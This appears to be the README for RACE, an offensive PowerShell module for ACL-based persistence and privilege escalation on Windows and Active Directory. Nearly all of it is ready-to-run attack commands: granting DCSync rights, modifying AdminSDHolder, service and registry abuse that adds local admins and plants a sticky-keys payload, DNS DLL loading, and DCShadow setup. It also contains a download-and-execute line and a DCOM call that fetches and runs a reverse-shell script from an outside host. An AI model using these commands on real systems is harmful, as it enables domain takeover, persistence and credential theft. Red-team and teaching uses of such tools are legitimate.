RACE is a PowerShell module for executing ACL attacks against Windows targets and Active Directory. RACE can be used for persistence and on demand privilege escalationon Windows machines.
By nikhil_mitt
Note that RACE is a tool which is used after you have admin or DA (in case of DC) privileges. The introductory blog post is available here: https://www.labofapenetrationtester.com/2019/08/race.html
Import the module in current PowerShell session
PS C:\> Import-Module C:\RACE-master\RACE.psd1
Use dot sourcing
PS C:\> . C:\RACE-master\RACE.ps1
Download and execute
iex (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/RACE/master/RACE.ps1')
Get help about any function
PS C:\> Get-Help Set-DCPermissions -Full
Note that the functions Set-ADACL and Set-DCPermissions need Microsoft ActiveDirectory module. You can get it from a DC or from my GitHub: https://github.com/samratashok/ADModule
Use this function to modify ACL of PowerShell Remoting endpoint so that you can access the target machine without admin.
PS C:\> Set-RemotePSRemoting -SamAccountName labuser -ComputerName ops-dc
Use the above command to add permissions on the remote machine for labuser to access PowerShell remoting.
PS C:\> Set-RemotePSRemoting -SamAccountName labuser -ComputerName ops-dc -Credential ops\administrator
Use the above command to add permissions on the remote machine for labuser to access PowerShell remoting using explicit credentials.
Use this function to modify ACL of DCOM endpoint and all the namespaces so that you can access the target machine without admin.
PS C:\> Set-RemoteWMI -SamAccountName labuser -ComputerName ops-dc
Use the above command to add permissions on the remote machine for labuser to access PowerShell remoting.
Use these tmodify ACLs of services on windows machines.
PS C:\> Set-RemoteServicePermissions -SamAccountName labuser -ComputerName ops-mssql -ServiceName ALG -Verbose
Use the above command to modify ACL of 'ALG' service on ops-mssql to allow labuser to modify the service (gives 'CCDCLCSWRPWPDTLOCRSDRCWDWO' rights)
PS C:\> Set-RemoteServiceAbuse -ComputerName ops-mssql -UserName 'labuser' -ServiceName ALG -Verbose
Run the above command as 'labuser' to configure ALG to run as SYSTEM and modify its executable path to add 'labuser' or other Principal provided in the UserName parameter to the local adminisrators group on the target machines.
PS C:\> sc.exe \\ops-mssql start ALG
Run the above command as 'labuser' to execute the payload set as executable of ALG
Function which can be used to modify permissions of Remote Registry by modifying a registry key on local or remote machine.
PS C:\> Set-RemoteRegistryPermissions -SamAccountName labuser -ComputerName ops-mssql -Verbose
Use the above command to modify permissions of the 'Remote Registry' key on the target machine to allow 'labuser' access to Remote Registry.
Set-RegistryImageFileExecution mdifies the Permissions for the registry key 'HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options' and 'HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp'.
PS C:\> Set-RegistryImageFileExecution -SamAccountName labuser -ComputerName ops-mssql -Verbose
Use the above command to modify permissions of the 'Image File Execution Options' key on the target machine to allow 'labuser' permissions to modify the key and its subkeys.
PS C:\> Invoke-RegistryAbuse -ComputerName ops-mssql -Method ImageFileExecution -Verbose
Above command sets payload for sethc (sticky keys) and disables NLA.
Set-DCOMPermissions can be used to modify ACLs of DCOM provide non-admin Princiapls access to DCOM.
PS C:\> Set-DCOMPermissions -UserName labuser -ComputerName ops-mssql -Verbose
Use the above command to add permissions on the target machine for labuser to execute commands using DCOM. Then use Invoke-DCOMAbuse as labuser to run commands:
Invoke-DCOMAbuse -ComputerName ops-build -Method MMC20 -Arguments 'iex(iwr -UseBasicParsing https://192.168.100.31:8080/Invoke-PowerShellTcp.ps1)'
Function which can be used to create a new JEA endpoint for PowerShell remoting to provide access for non-admin Principals.
PS C:\> Set-JEAPermissions -ComputerName ops-build -SamAccountName labuser -Verbose
Use the above command to create a new JEA endpoint on the target machine which provides administrator privileges.
Use the below command to connect to the target machine. Note the -ConfigurationName parameter:
PS C:\> Enter-PSSession -ComputerName ops-build -ConfigurationName microsoft.powershell64
The function can set ACL of a domain object specified by TargetSamAccountName or DistinguishedName.
It requires Microsoft's Active Directory module. You either need the AD RSAT tools (available on DC) or get the module from here: https://github.com/samratashok/ADModule
PS C:\> Set-ADACL -SamAccountName labuser -DistinguishedName 'DC=powershell,DC=local' -GUIDRight DCSync -Server powershell.local -Verbose
Use the above command to modify ACL of the domain object powershell.local to add DCSync rights for 'labuser'.
Use Set-DNSAbusePermissions to modify ACL of DNS Server Object and permissions for the DNS service.
PS C:\> Set-DNSAbusePermissions -SAMAccountName labuser -DistinguishedName 'CN=MicrosoftDNS,CN=System,DC=offensiveps,DC=powershell,DC=local' -ComputerName ops-dc -Verbose
Use the above command to modify ACL of DNS Server to add permissions for labuser so that it can remotely load DLLs as SYSTEM on the DNS Server.
Use the below command (needs DNS Server module that is available with DNS RSAT) to load the DLL.
PS C:\> Invoke-DNSAbuse -ComputerName ops-dc -DLLPath \\ops-build\dll\mimilib.dll -Verbose
Function to modify ACL of domain objects for specific attacks.
Set-DCPermissions -Method AdminSDHolder -SAMAccountName labuser -DistinguishedName 'CN=AdminSDHolder,CN=System,DC=offensiveps,DC=powershell,DC=local' -Verbose
Use the above command to modify ACL of the AdminSDHolder to allow labuser permissions to modify ACL of AdminSDHolder. Using these permissions, labuser can change ACL of AdminSDHolder and get rights over all the Protected Groups.
Set-DCPermissions -Method RBCD -DistinguishedName 'CN=OPS-FILE,OU=Servers,DC=offensiveps,DC=powershell,DC=local' -SAMAccountName labuser -Verbose
Use the above command to modify ACL of OPS-FILE$ user to add permissions for labuser to configure Resource-based Constrained Delegation.
Function to modify ACL of multiple domain objects to allow DCShadow execution without Domain Admin privilges
PS C:\> Set-DCShadowPermissions -FakeDC emptest -SAMAccountName testuser -Username privuser -Verbose
Use the above command to modify ACLs to run DCShadow from ps-paw machine as privuser against testuser.
Please raise an issue if you encounter a bug or have a feature request.\
You can contribute by fixing bugs or contributing to the code. If you cannot code, please use the tool and provide feedback and bugs!
The introductory blog post is available here: https://www.labofapenetrationtester.com/2019/08/race.html The above post contains slides and videos for the DEF CON27 talk for this tool.